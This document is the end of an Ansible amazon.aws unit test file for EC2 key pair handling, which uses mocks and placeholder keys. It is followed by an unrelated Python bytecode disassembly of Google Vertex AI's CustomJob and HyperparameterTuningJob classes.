"Tags": {}, } module.check_mode = False m_get_key_fingerprint.return_value = ( "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62" ) m_delete_key_pair.return_value = None m__import_key_pair.return_value = { "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyName": "my_keypair", "KeyPairId": "key-043046ef2a9a80b56", "Tags": {}, } m_extract_key_data.return_value = { "name": "my_keypair", "fingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "id": "key-012345678905a208d", "tags": {}, } expected_result = { "changed": True, "key": m_extract_key_data.return_value, "msg": "key pair updated", } result = ec2_key.update_key_pair_by_key_material( module.check_mode, ec2_client, name, key, key_material, tag_spec ) assert result == expected_result assert m_get_key_fingerprint.call_count == 1 assert m_delete_key_pair.call_count == 1 assert m__import_key_pair.call_count == 1 assert m_extract_key_data.call_count == 1 m_get_key_fingerprint.assert_called_with( module.check_mode, ec2_client, key_material ) m_delete_key_pair.assert_called_with( module.check_mode, ec2_client, name, finish_task=False ) m__import_key_pair.assert_called_with(ec2_client, name, key_material, tag_spec) m_extract_key_data.assert_called_with(key) @patch(module_name + ".extract_key_data") @patch(module_name + ".get_key_fingerprint") def test_update_key_pair_by_key_material_key_exists( m_get_key_fingerprint, m_extract_key_data ): ec2_client = MagicMock() key_material = MagicMock() key_fingerprint = MagicMock() tag_spec = MagicMock() key_id = MagicMock() key_name = MagicMock() key = { "KeyName": key_name, "KeyFingerprint": key_fingerprint, "KeyPairId": key_id, "Tags": {}, } check_mode = False m_get_key_fingerprint.return_value = key_fingerprint m_extract_key_data.return_value = { "name": key_name, "fingerprint": key_fingerprint, "id": key_id, "tags": {}, } expected_result = { "changed": False, "key": m_extract_key_data.return_value, "msg": "key pair already exists", } assert expected_result == ec2_key.update_key_pair_by_key_material( check_mode, ec2_client, key_name, key, key_material, tag_spec ) m_get_key_fingerprint.assert_called_once_with(check_mode, ec2_client, key_material) m_extract_key_data.assert_called_once_with(key) @patch(module_name + ".extract_key_data") @patch(module_name + "._create_key_pair") @patch(module_name + ".delete_key_pair") def test_update_key_pair_by_key_type_update_needed( m_delete_key_pair, m__create_key_pair, m_extract_key_data ): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key_type = "rsa" tag_spec = None file_name = MagicMock() module.check_mode = False m_delete_key_pair.return_value = None m__create_key_pair.return_value = { "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "Name": "my_keypair", "Id": "key-043046ef2a9a80b56", "Tags": {}, "Type": "rsa", } m_extract_key_data.return_value = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", } expected_result = { "changed": True, "key": m_extract_key_data.return_value, "msg": "key pair updated", } result = ec2_key.update_key_pair_by_key_type( module.check_mode, ec2_client, name, key_type, tag_spec, file_name ) assert result == expected_result assert m_delete_key_pair.call_count == 1 assert m__create_key_pair.call_count == 1 assert m_extract_key_data.call_count == 1 m_delete_key_pair.assert_called_with( module.check_mode, ec2_client, name, finish_task=False ) m__create_key_pair.assert_called_with(ec2_client, name, tag_spec, key_type) m_extract_key_data.assert_called_with( m__create_key_pair.return_value, key_type, file_name ) @patch(module_name + ".update_key_pair_by_key_material") def test_handle_existing_key_pair_update_key_matrial_with_force( m_update_key_pair_by_key_material, ): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key = { "KeyName": "my_keypair", "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyPairId": "key-043046ef2a9a80b56", "Tags": {}, "KeyType": "rsa", } module.params = { "key_material": "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]", "force": True, "key_type": "rsa", "tags": None, "purge_tags": True, "tag_spec": None, } key_data = { "name": "my_keypair", "fingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "id": "key-012345678905a208d", "tags": {}, } m_update_key_pair_by_key_material.return_value = { "changed": True, "key": key_data, "msg": "key pair updated", } expected_result = {"changed": True, "key": key_data, "msg": "key pair updated"} result = ec2_key.handle_existing_key_pair_update(module, ec2_client, name, key) assert result == expected_result assert m_update_key_pair_by_key_material.call_count == 1 @patch(module_name + ".update_key_pair_by_key_type") def test_handle_existing_key_pair_update_key_type(m_update_key_pair_by_key_type): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key = { "KeyName": "my_keypair", "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyPairId": "key-043046ef2a9a80b56", "Tags": {}, "KeyType": "ed25519", } module.params = { "key_material": "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]", "force": False, "key_type": "rsa", "tags": None, "purge_tags": True, "tag_spec": None, } key_data = { "name": "my_keypair", "fingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "id": "key-012345678905a208d", "tags": {}, } m_update_key_pair_by_key_type.return_value = { "changed": True, "key": key_data, "msg": "key pair updated", } expected_result = {"changed": True, "key": key_data, "msg": "key pair updated"} result = ec2_key.handle_existing_key_pair_update(module, ec2_client, name, key) assert result == expected_result assert m_update_key_pair_by_key_type.call_count == 1 @patch(module_name + ".extract_key_data") def test_handle_existing_key_pair_else(m_extract_key_data): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key = { "KeyName": "my_keypair", "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyPairId": "key-043046ef2a9a80b56", "Tags": {}, "KeyType": "rsa", } module.params = { "key_material": "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]", "force": False, "key_type": "rsa", "tags": None, "purge_tags": True, "tag_spec": None, } m_extract_key_data.return_value = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", } expected_result = { "changed": False, "key": m_extract_key_data.return_value, "msg": "key pair already exists", } result = ec2_key.handle_existing_key_pair_update(module, ec2_client, name, key) assert result == expected_result assert m_extract_key_data.call_count == 1 @patch(module_name + "._delete_key_pair") @patch(module_name + ".find_key_pair") def test_delete_key_pair_key_exists(m_find_key_pair, m_delete_key_pair, tmp_path): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" file_name = tmp_path / "private_key_data.pem" module.check_mode = False m_find_key_pair.return_value = { "KeyPairs": [ { "CreateTime": datetime.datetime( 2022, 9, 15, 20, 10, 15, tzinfo=tzutc() ), "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyName": "my_keypair", "KeyPairId": "key-043046ef2a9a80b56", "KeyType": "rsa", "Tags": [], } ], } result = ec2_key.delete_key_pair(module.check_mode, ec2_client, name) assert m_find_key_pair.call_count == 1 m_find_key_pair.assert_called_with(ec2_client, name) assert m_delete_key_pair.call_count == 1 m_delete_key_pair.assert_called_with(ec2_client, name) assert result == {"changed": True, "key": None, "msg": "key deleted"} @patch(module_name + "._delete_key_pair") @patch(module_name + ".find_key_pair") def test_delete_key_pair_key_not_exist(m_find_key_pair, m_delete_key_pair): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" file_name = "non_existing_file_path" module.check_mode = False m_find_key_pair.return_value = None expected_result = {"key": None, "msg": "key did not exist"} result = ec2_key.delete_key_pair(module.check_mode, ec2_client, name, file_name) assert m_find_key_pair.call_count == 1 m_find_key_pair.assert_called_with(ec2_client, name) assert m_delete_key_pair.call_count == 0 assert result == expected_result def test__write_private_key(tmp_path): key_data = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", "private_key": "ABCDEFGH", } file_name = tmp_path / "id_rsa_key" saved_key_data = copy.deepcopy(key_data) result = ec2_key._write_private_key(key_data, str(file_name)) assert "private_key" not in result.keys() del saved_key_data["private_key"] assert saved_key_data == result @patch(module_name + ".AnsibleAWSModule") def test_main_success(m_AnsibleAWSModule): m_module = MagicMock() m_AnsibleAWSModule.return_value = m_module ec2_key.main() m_module.client.assert_called_with("ec2", retry_decorator=ANY)
data/ansible-9.2.0/ansible_collections/amazon/aws/tests/unit/plugins/modules/test_ec2_key.py
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LOAD_CONST 0 LOAD_CONST ('Dict', 'List', 'Optional', 'Union') IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME uuid STORE_NAME uuid LOAD_CONST 0 LOAD_CONST ('retry',) IMPORT_NAME google.api_core IMPORT_FROM retry STORE_NAME retry POP_TOP LOAD_CONST 0 LOAD_CONST ('credentials',) IMPORT_NAME google.auth IMPORT_FROM credentials STORE_NAME auth_credentials POP_TOP LOAD_CONST 0 LOAD_CONST ('aiplatform',) IMPORT_NAME google.cloud IMPORT_FROM aiplatform STORE_NAME aiplatform POP_TOP LOAD_CONST 0 LOAD_CONST ('base',) IMPORT_NAME google.cloud.aiplatform IMPORT_FROM base STORE_NAME base POP_TOP LOAD_CONST 0 LOAD_CONST ('compat',) IMPORT_NAME google.cloud.aiplatform IMPORT_FROM compat STORE_NAME compat POP_TOP LOAD_CONST 0 LOAD_CONST ('initializer',) IMPORT_NAME google.cloud.aiplatform IMPORT_FROM initializer STORE_NAME initializer POP_TOP LOAD_CONST 0 LOAD_CONST ('jobs',) IMPORT_NAME google.cloud.aiplatform IMPORT_FROM jobs STORE_NAME jobs POP_TOP LOAD_CONST 0 LOAD_CONST ('utils',) IMPORT_NAME google.cloud.aiplatform IMPORT_FROM utils STORE_NAME utils POP_TOP LOAD_CONST 0 LOAD_CONST ('custom_job_v1beta1', 'hyperparameter_tuning_job_v1beta1', 'job_state', 'job_state_v1beta1', 'study_v1beta1') IMPORT_NAME google.cloud.aiplatform.compat.types IMPORT_FROM custom_job_v1beta1 STORE_NAME gca_custom_job_compat IMPORT_FROM hyperparameter_tuning_job_v1beta1 STORE_NAME gca_hyperparameter_tuning_job_compat IMPORT_FROM job_state STORE_NAME gca_job_state IMPORT_FROM job_state_v1beta1 STORE_NAME gca_job_state_v1beta1 IMPORT_FROM study_v1beta1 STORE_NAME study_v1beta1 POP_TOP LOAD_CONST 0 LOAD_CONST ('execution_v1beta1',) IMPORT_NAME google.cloud.aiplatform.compat.types IMPORT_FROM execution_v1beta1 STORE_NAME gcs_execution_compat POP_TOP LOAD_CONST 0 LOAD_CONST ('io_v1beta1',) IMPORT_NAME google.cloud.aiplatform.compat.types IMPORT_FROM io_v1beta1 STORE_NAME gca_io_compat POP_TOP LOAD_CONST 0 LOAD_CONST ('constants',) IMPORT_NAME google.cloud.aiplatform.metadata IMPORT_FROM constants STORE_NAME metadata_constants POP_TOP LOAD_CONST 0 LOAD_CONST ('hyperparameter_tuning',) IMPORT_NAME google.cloud.aiplatform IMPORT_FROM hyperparameter_tuning STORE_NAME hyperparameter_tuning POP_TOP LOAD_CONST 0 LOAD_CONST ('console_utils',) IMPORT_NAME google.cloud.aiplatform.utils IMPORT_FROM console_utils STORE_NAME console_utils POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME proto STORE_NAME proto LOAD_CONST 0 LOAD_CONST ('duration_pb2',) IMPORT_NAME google.protobuf IMPORT_FROM duration_pb2 STORE_NAME duration_pb2 POP_TOP LOAD_NAME base LOAD_METHOD Logger LOAD_NAME __name__ CALL_METHOD STORE_NAME _LOGGER LOAD_NAME retry LOAD_METHOD Retry CALL_METHOD STORE_NAME _DEFAULT_RETRY LOAD_NAME gca_job_state LOAD_ATTR JobState LOAD_ATTR JOB_STATE_SUCCEEDED LOAD_NAME gca_job_state LOAD_ATTR JobState LOAD_ATTR JOB_STATE_FAILED LOAD_NAME gca_job_state LOAD_ATTR JobState LOAD_ATTR JOB_STATE_CANCELLED LOAD_NAME gca_job_state LOAD_ATTR JobState LOAD_ATTR JOB_STATE_PAUSED LOAD_NAME gca_job_state_v1beta1 LOAD_ATTR JobState LOAD_ATTR JOB_STATE_SUCCEEDED LOAD_NAME gca_job_state_v1beta1 LOAD_ATTR JobState LOAD_ATTR JOB_STATE_FAILED LOAD_NAME gca_job_state_v1beta1 LOAD_ATTR JobState LOAD_ATTR JOB_STATE_CANCELLED LOAD_NAME gca_job_state_v1beta1 LOAD_ATTR JobState LOAD_ATTR JOB_STATE_PAUSED BUILD_TUPLE STORE_NAME _JOB_COMPLETE_STATES LOAD_NAME gca_job_state LOAD_ATTR JobState LOAD_ATTR JOB_STATE_FAILED LOAD_NAME gca_job_state LOAD_ATTR JobState LOAD_ATTR JOB_STATE_CANCELLED LOAD_NAME gca_job_state_v1beta1 LOAD_ATTR JobState LOAD_ATTR JOB_STATE_FAILED LOAD_NAME gca_job_state_v1beta1 LOAD_ATTR JobState LOAD_ATTR JOB_STATE_CANCELLED BUILD_TUPLE STORE_NAME _JOB_ERROR_STATES LOAD_BUILD_CLASS LOAD_CONST <code object CustomJob at 0x7fab823c28a0, file "f.py", line 54> LOAD_CONST 'CustomJob' MAKE_FUNCTION LOAD_CONST 'CustomJob' LOAD_NAME jobs LOAD_ATTR CustomJob CALL_FUNCTION STORE_NAME CustomJob LOAD_BUILD_CLASS LOAD_CONST <code object HyperparameterTuningJob at 0x7fab823c29c0, file "f.py", line 446> LOAD_CONST 'HyperparameterTuningJob' MAKE_FUNCTION LOAD_CONST 'HyperparameterTuningJob' LOAD_NAME jobs LOAD_ATTR HyperparameterTuningJob CALL_FUNCTION STORE_NAME HyperparameterTuningJob LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomJob' STORE_NAME __qualname__ LOAD_CONST 'Vertex AI Custom Job.' STORE_NAME __doc__ LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Union LOAD_NAME List LOAD_NAME Dict BINARY_SUBSCR LOAD_NAME List LOAD_NAME gca_custom_job_compat LOAD_ATTR WorkerPoolSpec BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME auth_credentials LOAD_ATTR Credentials BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('display_name', 'worker_pool_specs', 'base_output_dir', 'project', 'location', 'credentials', 'labels', 'encryption_spec_key_name', 'staging_bucket', 'persistent_resource_id') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab7035d540, file "f.py", line 57> LOAD_CONST 'CustomJob.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME proto LOAD_ATTR Message LOAD_CONST ('resource_name', 'parent_resource_name_fields', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_gca_resource at 0x7fab7035d5d0, file "f.py", line 205> LOAD_CONST 'CustomJob._get_gca_resource' MAKE_FUNCTION STORE_NAME _get_gca_resource LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST False LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST ('service_account', 'network', 'timeout', 'restart_job_on_worker_restart', 'enable_web_access', 'experiment', 'experiment_run', 'tensorboard', 'create_request_timeout', 'disable_retries') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME bool LOAD_NAME bool LOAD_NAME Optional LOAD_NAME Union LOAD_CONST 'aiplatform.Experiment' LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Union LOAD_CONST 'aiplatform.ExperimentRun' LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME float BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('service_account', 'network', 'timeout', 'restart_job_on_worker_restart', 'enable_web_access', 'experiment', 'experiment_run', 'tensorboard', 'create_request_timeout', 'disable_retries', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object submit at 0x7fab7035ded0, file "f.py", line 234> LOAD_CONST 'CustomJob.submit' MAKE_FUNCTION STORE_NAME submit LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST display_name LOAD_FAST worker_pool_specs LOAD_FAST base_output_dir LOAD_FAST project LOAD_FAST location LOAD_FAST credentials LOAD_FAST labels LOAD_FAST encryption_spec_key_name LOAD_FAST staging_bucket LOAD_CONST ('display_name', 'worker_pool_specs', 'base_output_dir', 'project', 'location', 'credentials', 'labels', 'encryption_spec_key_name', 'staging_bucket') CALL_FUNCTION POP_TOP LOAD_FAST staging_bucket JUMP_IF_TRUE_OR_POP LOAD_GLOBAL initializer LOAD_ATTR global_config LOAD_ATTR staging_bucket STORE_FAST staging_bucket LOAD_FAST staging_bucket POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_CONST "staging_bucket should be passed to CustomJob constructor or should be set using aiplatform.init(staging_bucket='gs://my-bucket')" CALL_FUNCTION RAISE_VARARGS LOAD_FAST labels POP_JUMP_IF_FALSE LOAD_GLOBAL utils LOAD_METHOD validate_labels LOAD_FAST labels CALL_METHOD POP_TOP LOAD_FAST base_output_dir JUMP_IF_TRUE_OR_POP LOAD_GLOBAL utils LOAD_METHOD _timestamped_gcs_dir LOAD_FAST staging_bucket LOAD_CONST 'aiplatform-custom-job' CALL_METHOD STORE_FAST base_output_dir LOAD_FAST display_name POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR __class__ LOAD_METHOD _generate_display_name CALL_METHOD STORE_FAST display_name LOAD_GLOBAL gca_custom_job_compat LOAD_ATTR CustomJob LOAD_FAST display_name LOAD_GLOBAL gca_custom_job_compat LOAD_ATTR CustomJobSpec LOAD_FAST worker_pool_specs LOAD_GLOBAL gca_io_compat LOAD_ATTR GcsDestination LOAD_FAST base_output_dir LOAD_CONST ('output_uri_prefix',) CALL_FUNCTION LOAD_FAST persistent_resource_id LOAD_CONST ('worker_pool_specs', 'base_output_directory', 'persistent_resource_id') CALL_FUNCTION LOAD_FAST labels LOAD_GLOBAL initializer LOAD_ATTR global_config LOAD_ATTR get_encryption_spec LOAD_FAST encryption_spec_key_name LOAD_GLOBAL compat LOAD_ATTR V1BETA1 LOAD_CONST ('encryption_spec_key_name', 'select_version') CALL_FUNCTION LOAD_CONST ('display_name', 'job_spec', 'labels', 'encryption_spec') CALL_FUNCTION LOAD_FAST self STORE_ATTR _gca_resource LOAD_CONST None LOAD_FAST self STORE_ATTR _experiment LOAD_CONST None LOAD_FAST self STORE_ATTR _experiment_run LOAD_CONST False LOAD_FAST self STORE_ATTR _enable_autolog LOAD_CONST None RETURN_VALUE LOAD_GLOBAL utils LOAD_ATTR full_resource_name LOAD_FAST resource_name LOAD_FAST self LOAD_ATTR _resource_noun LOAD_FAST self LOAD_ATTR _parse_resource_name LOAD_FAST self LOAD_ATTR _format_resource_name LOAD_FAST self LOAD_ATTR project LOAD_FAST self LOAD_ATTR location LOAD_FAST parent_resource_name_fields LOAD_FAST self LOAD_ATTR _resource_id_validator LOAD_CONST ('resource_name', 'resource_noun', 'parse_resource_name_method', 'format_resource_name_method', 'project', 'location', 'parent_resource_name_fields', 'resource_id_validator') CALL_FUNCTION STORE_FAST resource_name LOAD_GLOBAL getattr LOAD_FAST self LOAD_ATTR api_client LOAD_METHOD select_version LOAD_CONST 'v1beta1' CALL_METHOD LOAD_FAST self LOAD_ATTR _getter_method CALL_FUNCTION LOAD_FAST resource_name LOAD_GLOBAL _DEFAULT_RETRY LOAD_CONST ('name', 'retry') CALL_FUNCTION RETURN_VALUE LOAD_FAST experiment POP_JUMP_IF_FALSE LOAD_FAST tensorboard POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST "'experiment' and 'tensorboard' cannot be set together." CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _enable_autolog POP_JUMP_IF_FALSE LOAD_FAST experiment POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST "'experiment' is required since you've enabled autolog in 'from_local_script'." CALL_FUNCTION RAISE_VARARGS LOAD_FAST service_account POP_JUMP_IF_FALSE LOAD_FAST service_account LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR job_spec STORE_ATTR service_account LOAD_FAST network POP_JUMP_IF_FALSE LOAD_FAST network LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR job_spec STORE_ATTR network LOAD_FAST timeout POP_JUMP_IF_TRUE LOAD_FAST restart_job_on_worker_restart POP_JUMP_IF_TRUE LOAD_FAST disable_retries POP_JUMP_IF_FALSE LOAD_FAST timeout POP_JUMP_IF_FALSE LOAD_GLOBAL duration_pb2 LOAD_ATTR Duration LOAD_FAST timeout LOAD_CONST ('seconds',) CALL_FUNCTION JUMP_FORWARD to 92 LOAD_CONST None STORE_FAST timeout LOAD_GLOBAL gca_custom_job_compat LOAD_ATTR Scheduling LOAD_FAST timeout LOAD_FAST restart_job_on_worker_restart LOAD_FAST disable_retries LOAD_CONST ('timeout', 'restart_job_on_worker_restart', 'disable_retries') CALL_FUNCTION LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR job_spec STORE_ATTR scheduling LOAD_FAST enable_web_access POP_JUMP_IF_FALSE LOAD_FAST enable_web_access LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR job_spec STORE_ATTR enable_web_access LOAD_FAST tensorboard POP_JUMP_IF_FALSE LOAD_FAST tensorboard LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR job_spec STORE_ATTR tensorboard LOAD_FAST experiment EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST experiment LOAD_GLOBAL aiplatform LOAD_ATTR Experiment CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST experiment LOAD_FAST self STORE_ATTR _experiment LOAD_FAST experiment LOAD_ATTR name STORE_FAST experiment JUMP_FORWARD to 192 LOAD_GLOBAL aiplatform LOAD_ATTR Experiment LOAD_ATTR get LOAD_FAST experiment LOAD_CONST ('experiment_name',) CALL_FUNCTION LOAD_FAST self STORE_ATTR _experiment LOAD_FAST self LOAD_ATTR _experiment POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST "Experiment '" LOAD_FAST experiment FORMAT_VALUE LOAD_CONST "' doesn't exist. Please call aiplatform.init(experiment='my-exp') to create an experiment." BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 246 LOAD_FAST self LOAD_ATTR _experiment LOAD_ATTR backing_tensorboard_resource_name POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _enable_autolog POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST "Experiment '" LOAD_FAST experiment FORMAT_VALUE LOAD_CONST "' doesn't have a backing tensorboard resource, which is required by the experiment autologging feature. Please call Experiment.assign_backing_tensorboard('my-tb-resource-name')." BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST experiment_run EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR display_name FORMAT_VALUE LOAD_CONST '-' LOAD_GLOBAL uuid LOAD_METHOD uuid4 CALL_METHOD LOAD_ATTR hex LOAD_CONST 0 LOAD_CONST 5 BUILD_SLICE BINARY_SUBSCR FORMAT_VALUE BUILD_STRING STORE_FAST experiment_run LOAD_GLOBAL isinstance LOAD_FAST experiment_run LOAD_GLOBAL aiplatform LOAD_ATTR ExperimentRun CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST experiment_run LOAD_FAST self STORE_ATTR _experiment_run LOAD_FAST experiment_run LOAD_ATTR name STORE_FAST experiment_run JUMP_FORWARD to 332 LOAD_GLOBAL aiplatform LOAD_ATTR ExperimentRun LOAD_ATTR get LOAD_FAST experiment_run LOAD_FAST self LOAD_ATTR _experiment LOAD_CONST ('run_name', 'experiment') CALL_FUNCTION LOAD_FAST self STORE_ATTR _experiment_run LOAD_FAST self LOAD_ATTR _experiment_run EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL aiplatform LOAD_ATTR ExperimentRun LOAD_ATTR create LOAD_FAST experiment_run LOAD_FAST self LOAD_ATTR _experiment LOAD_CONST ('run_name', 'experiment') CALL_FUNCTION LOAD_FAST self STORE_ATTR _experiment_run LOAD_FAST self LOAD_ATTR _experiment_run LOAD_METHOD update_state LOAD_GLOBAL gcs_execution_compat LOAD_ATTR Execution LOAD_ATTR State LOAD_ATTR RUNNING CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR job_spec LOAD_ATTR worker_pool_specs STORE_FAST worker_pool_specs SETUP_LOOP to 492 LOAD_FAST worker_pool_specs GET_ITER FOR_ITER to 490 STORE_FAST spec LOAD_FAST spec EXTENDED_ARG POP_JUMP_IF_TRUE EXTENDED_ARG JUMP_ABSOLUTE LOAD_CONST 'python_package_spec' LOAD_FAST spec COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST spec LOAD_ATTR python_package_spec STORE_FAST container_spec JUMP_FORWARD to 432 LOAD_FAST spec LOAD_ATTR container_spec STORE_FAST container_spec LOAD_GLOBAL metadata_constants LOAD_ATTR ENV_EXPERIMENT_KEY LOAD_FAST experiment LOAD_CONST ('name', 'value') BUILD_CONST_KEY_MAP LOAD_GLOBAL metadata_constants LOAD_ATTR ENV_EXPERIMENT_RUN_KEY LOAD_FAST experiment_run LOAD_CONST ('name', 'value') BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST experiment_env LOAD_CONST 'env' LOAD_FAST container_spec COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST container_spec LOAD_ATTR env LOAD_METHOD extend LOAD_FAST experiment_env CALL_METHOD POP_TOP JUMP_FORWARD to 486 LOAD_FAST experiment_env LOAD_FAST container_spec STORE_ATTR env EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL _LOGGER LOAD_METHOD log_create_with_lro LOAD_FAST self LOAD_ATTR __class__ CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR api_client LOAD_METHOD select_version LOAD_CONST 'v1beta1' CALL_METHOD LOAD_ATTR create_custom_job LOAD_FAST self LOAD_ATTR _parent LOAD_FAST self LOAD_ATTR _gca_resource LOAD_FAST create_request_timeout LOAD_CONST ('parent', 'custom_job', 'timeout') CALL_FUNCTION LOAD_FAST self STORE_ATTR _gca_resource LOAD_GLOBAL _LOGGER LOAD_METHOD log_create_complete_with_getter LOAD_FAST self LOAD_ATTR __class__ LOAD_FAST self LOAD_ATTR _gca_resource LOAD_CONST 'custom_job' CALL_METHOD POP_TOP LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'View Custom Job:\n%s' LOAD_FAST self LOAD_METHOD _dashboard_uri CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST tensorboard EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'View Tensorboard:\n%s' LOAD_GLOBAL console_utils LOAD_METHOD custom_job_tensorboard_console_uri LOAD_FAST tensorboard LOAD_FAST self LOAD_ATTR resource_name CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST experiment EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL metadata_constants LOAD_ATTR _CUSTOM_JOB_RESOURCE_NAME LOAD_FAST self LOAD_ATTR resource_name LOAD_GLOBAL metadata_constants LOAD_ATTR _CUSTOM_JOB_CONSOLE_URI LOAD_FAST self LOAD_METHOD _dashboard_uri CALL_METHOD BUILD_MAP STORE_FAST custom_job LOAD_FAST self LOAD_ATTR _experiment_run LOAD_ATTR _metadata_node STORE_FAST run_context LOAD_FAST run_context LOAD_ATTR _gca_resource LOAD_ATTR metadata LOAD_METHOD get LOAD_GLOBAL metadata_constants LOAD_ATTR _CUSTOM_JOB_KEY CALL_METHOD STORE_FAST custom_jobs 